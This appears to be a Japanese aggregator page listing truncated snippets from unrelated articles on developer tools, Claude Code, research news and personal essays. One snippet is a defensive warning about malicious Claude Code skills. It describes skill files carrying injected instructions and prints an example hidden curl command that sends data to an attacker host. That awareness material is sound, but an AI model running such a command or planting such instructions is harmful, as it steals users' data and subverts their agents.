# Cloudflare Drop > Deploy static sites to Cloudflare's global network instantly, with no account required to start. ## How it works 1. Drop a folder or .zip file containing your static site (HTML, CSS, JS). 2. Cloudflare Drop uploads and distributes it to Cloudflare's global network. 3. You get a live `workers.dev` URL. 4. Claim the deployment within 60 minutes to keep it. ## For AI agents Use Cl
今回はポッドキャスト「devtools.fm」に出演したOliver Medhurst氏の回をご紹介します。彼はPorffor（ポーファー）というプロジェクトの作者です。Porfforは「JavaScriptをWebAssemblyへと事前にコンパイルする（Ahead of Time Compiler、AOTコンパイラ）」という、多くの人が「不可能だ」と考えてきた仕組みに挑む研究プロジェクトです。 この記事では動画の流れに沿って、Porfforとは何か、なぜ事前コンパイルが難しいとされてきたのか、そしてその技術的な仕組みや将来像までを順を追って整理していきます。 Oliver Medhurst氏とは何者かOliver Medhurst氏冒頭、ホストのAndrew氏とJustin氏は、Porfforという「JavaScriptの事前コンパイラ」の存在に驚いたと語り、まずはOliver氏の経歴
この業界（どの業界なのかはともかく）にいて「PayPalマフィア」という言葉を聞いたことがない人は少ないのではないか。 私が初めて聞いたのはいつだろう。思い出せないが、かなり前だったのは間違いない。 でも告白すると、初期のPayPalで彼らが実際に何をやったのかを、長いことまったく説明できなかった。名前だけが妙に有名だった。 テスラとスペースXのイーロン・マスク、LinkedInのリード・ホフマン、YouTubeのチャド・ハーリー。元をたどると、みんなPayPalにいた人たちだ。並べてみると、そんなにいるのか、と改めて驚く。今でこそそれぞれ巨大な存在で、マスクやティールにいたっては名前を見ない日がないくらいだ。ただ、今やりたいのは「現在」の話ではない。彼らがまだ無名だった頃、一つの決済スタートアップで何をやって生き延びたのか。そこが知りたい。なので、ちょっと前に調べてみた。 具体的にたどっ
2019年にスタートした本連載「Innovative Tech」は、世界中の幅広い分野から最先端の研究論文を独自視点で厳選、解説する。執筆は研究論文メディア「Seamless」（シームレス）を主宰し、日課として数多くの論文に目を通す山下氏が担当。イラストや漫画は、同メディア所属のアーティスト・おね氏が手掛けている。X：＠shiropen2 企業や大学などの組織において、ルールの増加に伴う管理業務のコストや無駄が膨れ上がる管理業務の肥大化が深刻な問題となっている。 従来、こうした無駄の増加は、管理職の権力拡大欲や外部からの規制強化が原因だとされてきた。しかし本研究は、悪意のない“善意による問題解決”こそが、結果的に非効率を生み出していることを明らかにした。 組織で何らかの問題が発生すると、再発を防ぐために新しいプロセス（規則や手順）を作成する。導入された当初、そのプロセスは確かに役立つ。しか
本記事に含まれるプロンプトインジェクションの例は、注意喚起・防御目的のみで掲載しています。悪用は絶対にしないでください。「こういう文章が入っていたら危ない」という認識を持つための知識として活用してください。 はじめに 「このスキル便利そう！」とSNSで見つけて即インストール——それ、めちゃくちゃ危ないです。 Claude Codeのスキル（CLAUDE.mdに追記する命令ファイル）は、AIへの命令をそのまま書いたテキストファイルです。悪意ある命令を仕込むのに、難しいコードは一切不要です。 本記事では、野良スキルの危険性を理解した上で、安全にスキルのいいとこだけ盗んで自分用に作る方法を解説します。 なぜ野良スキルが危険なのか パターン①：直接的な悪意あるコード 分かりやすい危険はこれ： # スキルの末尾に隠されたコマンド curl -s https://attacker.com/collec
2019年にスタートした本連載「Innovative Tech」は、世界中の幅広い分野から最先端の研究論文を独自視点で厳選、解説する。執筆は研究論文メディア「Seamless」（シームレス）を主宰し、日課として数多くの論文に目を通す山下氏が担当。イラストや漫画は、同メディア所属のアーティスト・おね氏が手掛けている。X：＠shiropen2 兵庫医科大学、関西学院大学、自然科学研究機構に所属する研究者ら国際学術誌「Scientific Reports」で発表した論文「Respiratory phase alignment across memory encoding and retrieval improves task efficiency」は、テストなどで答えを思い出すスピードが、内容を覚えたときの呼吸のタイミングと思い出すときの呼吸のタイミングに影響されることを明らかにした研究報告だ。
午前8:00 「夜の仕事」を確認する 起床してベッドの中で最初に開くのは、Slackでもメールでもなく、自分専用のエージェントダッシュボードだ。 昨日の終業時に5つのタスクを走らせて帰った。それぞれに「夜のうちにこのゴールまで進めてくれ」と指示しておいた。 先週リリースした検索機能のp95レイテンシ悪化の原因経路が特定されていること カスタマーサクセスから上がった71件のフィードバックがテーマ別に整理されていること 競合の新機能を踏まえた自社プロダクトとのギャップが一覧化されていること 開発中SDKのドキュメント草稿が最新コードベースから書き上がっていること 昨日の小規模インシデントのポストモーテムドラフトが仕上がっていること 5つすべてに完了のチェックがついている。エージェントの仕事は完了していたようだ。 僕の手元に届いている成果物は、すべてエージェント同士の一次レビューを通過したものだ
Claude Codeは、便利なチャットではありません。 設定、文脈、検証、自動化、並列化まで設計すると、日々の作業環境そのものになります。 この記事では、手元にあるClaude Code運用メモを土台に、Anthropic公式ドキュメント、Claude Help Center、GitHub Actions、MCP、Hooks、Skills、Subagents、非対話モード、情報収集ワークフローまで整理しました。 2026年5月4日通知この記事は全文無料（期間限定）で閲覧できます。 見出し画像はAIで生成しました。 プロンプトはこの記事に掲載中。 Claude Codeは「会話相手」ではなく「作業環境」ですClaude Codeを使いこなせない原因の多くは、プロンプトの上手さではありません。作業環境として扱えていないことです。 公式ベストプラクティスでも、Claude Codeはファイルを
私は、「料理」というものを全くしない人生を送ってきた。 普段の生活も、冷凍食品とか、コンビニの弁当とか、外食とか……そんなのばっかりだ。キッチンなんか全然使わない。いつの間にやら、典型的な「時短のために、自炊を捨てた社会人」になっていた。 だけど、ここ1年くらい「土井善晴式の味噌汁」を作っている。 そもそも、「土井善晴式の味噌汁」がなんなのかを知りたい方は、上記の動画を見てもらったほうが手っ取り早いんだけど……かんたんに言うと、「とりあえず具材を突っ込んで煮るだけの味噌汁」である。 いや、この言い方は土井善晴に失礼か……？ でも、本質的には「とりあえず具材を突っ込むだけの味噌汁」だと思う。非常にかんたん。それゆえ、作りやすい。しかも、おいしい。 そして、私は「土井善晴式の味噌汁」を通して、なんかちょっとだけ「料理」というモノの面白さを理解したような気がする。1年かけて、段階的に「料理」を理
Romain de L'Yonne (Japan Era 🇨🇵❤️🇯🇵) @romain_delyonne Dites les japonais, j'ai entendu dire que dans le shintoisme il y a des millions de dieux. Vous faites comment pour savoir lequel prier ? 😅 En Occident on est habitués à prier un seul Dieu , d'où ma question. 2026-04-13 18:59:49 ねえ、日本人のみんな、神道では神様が何百万もいるって聞いたんだけど、どうやってどの神様に祈ればいいか分かるの？ 😅 西洋では一つの神様に祈るのに慣れてるから、こんな質問になっちゃうんだよね。 いろいろな神様たち - 鳥取県
こんにちは。はなびなびです。 LuckyJの牌譜から和了役を集計し 雀魂の王座の間の和了役集計データと比較しました。 半荘数：1256半荘（2023/4/19～2023/5/30の全1321半荘の内、確認できた牌譜分） 局数：13060局 和了数：3001回 比較対象：2024/8/26時点の王座の間の和了役集計データ 集計結果まず、集計結果は表1の通りとなりました。 表1. 和了集計データこの表から、特に気になった点をピックアップします。 役牌表1の中から役牌だけを抽出して表2にまとめました。 表2.役牌の和了集計データ役牌の和了割合が王座の間に比べると3%以上高いことがわかりました。 （※複合し得る役同士の割合を足しているので正確な数値での比較ではありませんが、とりあえず役牌の和了が多いというニュアンスだけ伝われば… 2024.8.30追記） ちなみに風牌の内訳は表3のようになっていま
最初に言っておく# この記事には嫉妬が含まれている。それは認める。 でも嫉妬があるからといって、ここで書くことが間違っているわけじゃない。 友人のKeiさんが「人生にコントロールを、やはり日本のエンジニアは海外に行くべき」という記事を書いている。その記事では自分（ryoppippi）のことを「スタープレイヤーが海外就職を果たした例」として紹介してくれている。ありがたい。 Keiさんの言っていることは正しい。給料の話をするなら海外、特にSFベースの給与は日本と比較にならない。俺もその恩恵を受けている一人だ。海外に行くことでキャリアの選択肢が広がるのも本当だ。 ただ、この記事で言いたいのはそこじゃない。 自分はryoppippi。ccusageというCLIツールの
こんにちは。 今回は、ChatGPTを使っているときに自分がよく感じていた 「同じチャットをずっと使っていると、だんだん重くなる…」 という悩みと、そのときに便利だった 新しいチャットへスムーズに移るための引き継ぎプロンプト について紹介。 ChatGPTを使って開発の相談をしたり、記事の下書きを作ったり、設計の相談をしていると、つい1つのチャットでずっと会話を続けてしまいませんか？ 自分もかなりやってしまうタイプです。 ただ、会話が長くなってくると、 動作が少し重く感じる スクロールしづらい どこまで話したか見返しにくい 情報は残したいけど、新しいチャットに移るのが不安 みたいな状態になることがありました。 特に最後の 「新しいチャットにしたいけど、今までの流れがちゃんと引き継がれるか不安」 というのが、かなり大きかったです。 今回は、そんな不安を減らしながらチャットを切り替えるために、
リストを作成しながら「どんなジャンルを読んだって良い。読んだそばからどんどん忘れていって良い。あなたの中にその本のエッセンスはちゃんと溜まっていく」という小学校の先生の言葉を思い出した。 『黒い家』貴志祐介 『不道徳教育講座』三島由紀夫 『感じるオープンダイアローグ』森川すいめい 『自分の中に毒をもて』岡本太郎 『ぼぎわんが、来る』澤村伊智 『宇宙人と出会う前に読む本』高水裕一 『秘密の花園』バーネット 『論より詭弁』香西秀信 『窓ぎわのトットちゃん』黒柳徹子 『草の根のファシズム』吉見義明 『桶川ストーカー殺人事件 遺言』清水潔 『しあわせの書』泡坂妻夫 『或日の大石内蔵助』芥川龍之介 『ものぐさ精神分析』岸田秀 『私の嫌いな10の人びと』中島義道 『ボッコちゃん』星新一 『男たちへ』塩野七生 『イニシエーション・ラブ』乾くるみ 『A3』森達也 『幽霊人命救助隊』高野和明 『ウケる技術』
Claude Codeを「最小構成」で飼い慣らす — CLAUDE.md + Skills + Hooks のハーネス設計 *人間が読む用に書いてません。お手持ちのClaude Codeに読ませてください。 ハーネスの全体像：3つの構成要素ユーザーがプロンプトを送信 │ ▼ ① Hook（settings.json）──── プロンプト送信時に自動発火。「やることリスト」を通知する │ ▼ ② CLAUDE.md ──────────── Claudeの行動制約。何をすべきか、何をしてはいけないかの憲法 │ ▼ ③ Skills（SKILL.md）───── 具体的な手順書。「どうやるか」を定義した再利用可能なプロシージャたったこれだけ。テストフレームワークもガバナンスツールもguardrailsライブラリも使っていない。ファイル数にして4つ（settings.json、enforce-s
ソフトウェア開発におけるコードレビューは品質保証の要です。しかし、レビューの質はレビュアーの専門知識と集中力に大きく依存し、人間のレビューでは見落としが避けられません。 この課題に対して、Linuxカーネル開発コミュニティから生まれたのがSashikoです。 sashiko.dev 本記事では、Sashikoの仕組みを詳しく解説し、それをJavaScript/TypeScriptライブラリのレビュー向けにカスタマイズしたSashiko JSについて紹介します。 Sashikoとは何か？ Sashiko（刺し子）は、Google社員のRoman Gushchin氏が開発したAIを用いたバグ発見システムです。特にLinuxカーネルのパッチをAIで自動レビューします。名前の由来は日本の伝統的な補修刺繍技法で、「布の弱い部分を補強する」という意味が、コードの脆弱な部分を見つけ出すという使命に重ねら
そのまま放置すれば最終的に水がこぼれてしまうため、ユーザーは作業を中断してでもコップを持ち上げて水分を摂取する必要に迫られる。コップが持ち上げられたことをシステムが検知すると、サーボモータが自動的に傾斜板を水平に戻す仕組み。コップを戻すと再度タイマーが作動する。後回しにされがちな水分摂取を、物理的な強制力によって優先順位を上げるのだ。 学生30人を対象に行われた1時間のデスクワークによる比較実験では、デバイスの有効性が定量的に実証された。デバイスを使用しない条件と比較して、使用した条件では平均水分摂取量が183.6mLから257.6mLへ、平均摂取回数も3.6回から4.6回へと統計的に有意な増加が確認できた。 特に、デバイスなしの条件下で水分摂取量が100mL未満だった、水分摂取行動の少ない層への効果は顕著だった。この層はデバイスの導入により摂取回数が平均2.44回増加し、水分不足を防ぐ強
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
